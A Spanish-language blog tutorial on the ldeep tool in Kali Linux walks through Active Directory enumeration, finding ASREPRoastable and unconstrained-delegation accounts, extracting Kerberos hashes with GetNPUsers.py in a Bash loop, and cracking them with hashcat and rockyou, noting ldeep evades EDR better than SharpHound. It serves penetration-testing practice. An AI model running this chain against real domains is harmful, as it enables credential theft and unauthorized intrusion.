Guía Rápida de ldeep en Kali

 

 https://www.onlinetis.com/es/

Guía Rápida de ldeep en Kali

ldeep es una herramienta de reconocimiento escrita en Python, diseñada específicamente para consultar y enumerar servidores de LDAP (especialmente en entornos de Active Directory). Es muy apreciada en el mundo del pentesting por ser rápida, eficiente y por permitir extraer una gran cantidad de información con pocos comandos.

Aquí tienes una guía rápida para empezar a usarla en Kali Linux.


1. Instalación

Aunque Kali tiene muchos repositorios, lo más común es instalar ldeep directamente desde PyPi usando pipx (la forma recomendada para evitar conflictos de dependencias):

Bash
pipx install ldeep

2. Comandos Básicos y Sintaxis

La estructura básica de un comando en ldeep suele ser:

ldeep <método_de_autenticación> <opciones_del_servidor> <módulo> <comando>

Métodos de Autenticación

  • LDAP: -u usuario -p password -d dominio -s ldap://IP

  • Kerberos: -k (si ya tienes un ticket TGT válido).

  • NTLM: Usando el hash con -H en lugar de la contraseña.


3. Principales Módulos y sus Funciones

ldeep organiza sus funciones en "módulos". Aquí te detallo los más útiles para una auditoría:

MóduloDescripciónEjemplo de uso
UsersLista usuarios y sus detalles.ldeep ldap ... users list
GroupsMuestra grupos y sus miembros.ldeep ldap ... groups list
ComputersLista equipos en el dominio.ldeep ldap ... computers list
PolicyMuestra políticas de contraseñas.ldeep ldap ... policy show
TrustsEnumera relaciones de confianza.ldeep ldap ... trusts list

4. Ejemplos Prácticos

Imagina que el controlador de dominio es 10.10.10.100, el dominio es corp.local y tienes las credenciales paco:Pass123.

Enumerar todos los usuarios

Bash
ldeep ldap -u paco -p Pass123 -d corp.local -s ldap://10.10.10.100 users list

Buscar usuarios con descripciones interesantes

A menudo los administradores olvidan contraseñas en el campo "Description":

Bash
ldeep ldap -u paco -p Pass123 -d corp.local -s ldap://10.10.10.100 users list --description

Ver quién tiene privilegios de Administrador de Dominio

Bash
ldeep ldap -u paco -p Pass123 -d corp.local -s ldap://10.10.10.100 groups members "Domain Admins"

Volcar todo a archivos JSON

Si quieres procesar la información después o usarla en otras herramientas:

Bash
ldeep ldap ... all out_directory/

¿Por qué usar ldeep en lugar de otros?

A diferencia de ldapsearch (que tiene una sintaxis muy compleja y difícil de recordar), ldeep es legible para humanos. Además, genera salidas automáticas que facilitan encontrar vulnerabilidades comunes como:

  • Usuarios con Pre-Auth de Kerberos desactivada (útil para ASREPRoast).

  • Cuentas con delegación de Kerberos configurada.

  • Cuentas con contraseñas que nunca expiran.

 

Usar ldeep para preparar ataques o alimentar otras herramientas es una de sus funciones más potentes, ya que te ahorra mucho tiempo de limpieza de datos.

Aquí tienes cómo usarlo para los dos escenarios más comunes en auditorías de Active Directory:


1. Identificar usuarios para ASREPRoasting

El ataque de ASREPRoasting busca usuarios que tienen activada la opción "Do not require Kerberos preauthentication". Si encuentras uno, puedes solicitar un ticket TGT y crackearlo offline para obtener su contraseña.

Con ldeep, puedes listar estos usuarios vulnerables de forma directa:

Bash
ldeep ldap -u usuario -p password -d dominio -s ldap://IP users asreproast
  • Lo que hace: Filtra automáticamente el atributo userAccountControl para encontrar el bit específico que indica que no requiere preautenticación.

  • Siguiente paso: Si obtienes resultados, puedes usar GetNPUsers.py (de Impacket) para extraer el hash y meterlo en John the Ripper o Hashcat.


2. Preparar datos para BloodHound (Ingesta manual)

Aunque SharpHound es el estándar para recolectar datos de BloodHound, a veces las defensas (EDR/Antivirus) lo bloquean. ldeep puede extraer información de LDAP de forma más discreta y guardarla en archivos que BloodHound entiende.

Para volcar toda la información del dominio en formato compatible:

Bash
ldeep ldap -u usuario -p password -d dominio -s ldap://IP all salida_bloodhound/
  • ¿Qué genera? Crea una carpeta con archivos .json que contienen usuarios, grupos, equipos y relaciones de confianza.

  • Cómo usarlo: Simplemente arrastra esos archivos JSON dentro de la interfaz de BloodHound (o BloodHound-CE) y verás el grafo de ataque completo.


3. Identificar delegación de Kerberos (Unconstrained Delegation)

Si un equipo tiene delegación "no restringida", cualquier usuario que se conecte a él deja su ticket en memoria, permitiendo que un atacante lo robe.

Para encontrar estas máquinas peligrosas:

Bash
ldeep ldap -u usuario -p password -d dominio -s ldap://IP computers list --unconstrained

Resumen de flags útiles:

  • -o json: Cambia la salida a formato JSON para scripts.

  • -k: Úsalo si ya estás dentro de una máquina comprometida y tienes un ticket Kerberos (sin necesidad de escribir la contraseña).

  • -v: Modo "verbose" para ver qué está pasando detrás de escenas.

 

Una vez que has identificado una cuenta vulnerable (como un usuario de ASREPRoast o un equipo con Delegación) y has extraído el hash, el siguiente paso crítico es el cracking offline.

Aquí te explico cómo pasar de la salida de ldeep al descifrado real utilizando Hashcat, la herramienta más rápida para esto en Kali Linux.


1. El flujo de trabajo: De ldeep a Hashcat

Para que entiendas el proceso lógico, el flujo suele ser este:

  1. Enumerar: Usas ldeep para encontrar usuarios con asreproast.

  2. Extraer: Usas GetNPUsers.py (de Impacket) para obtener el hash en formato $krb5asrep$23$....

  3. Crackear: Usas hashcat con el diccionario rockyou.txt.


2. Comandos para el Cracking

Si ya tienes el hash guardado en un archivo llamado hashes.txt, estos son los comandos que debes conocer:

Para ASREPRoast (Kerberos 5, ETYPES 23)

El código de modo para este ataque en Hashcat es el 18200.

Bash
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt

Para Kerberoasting (TGS-REP, ETYPES 23)

Si lo que has extraído son tickets de servicio (SPN), el código es el 13100.

Bash
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

3. Tips Pro para ser más eficiente

  • Usa reglas: Si el diccionario básico no funciona, añade reglas de mutación (como best64) para probar variaciones de las contraseñas (ej: Password123!).

    Bash
    hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
    
  • Filtra por longitud: Si la política de contraseñas del dominio (que viste con ldeep policy show) dice que el mínimo son 10 caracteres, no pierdas tiempo probando palabras de 8.

  • Verifica el estado: Pulsa la tecla s mientras Hashcat corre para ver el progreso y el tiempo estimado.


4. ¿Cómo automatizarlo un poco más?

Si ldeep te devuelve una lista larga de usuarios vulnerables, puedes usar un pequeño bucle en Bash para intentar extraer los hashes de todos a la vez antes de pasarlos a Hashcat:

Bash
# Ejemplo rápido para extraer hashes de una lista de usuarios
for user in $(cat usuarios_vulnerables.txt); do 
    GetNPUsers.py dominio.local/$user -no-pass -dc-ip 10.10.10.100 >> todos_los_hashes.txt
done
 

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Hacking y ciberseguridad en kali linux con atk6-thcping6

Como utilizar Fierce en kali linux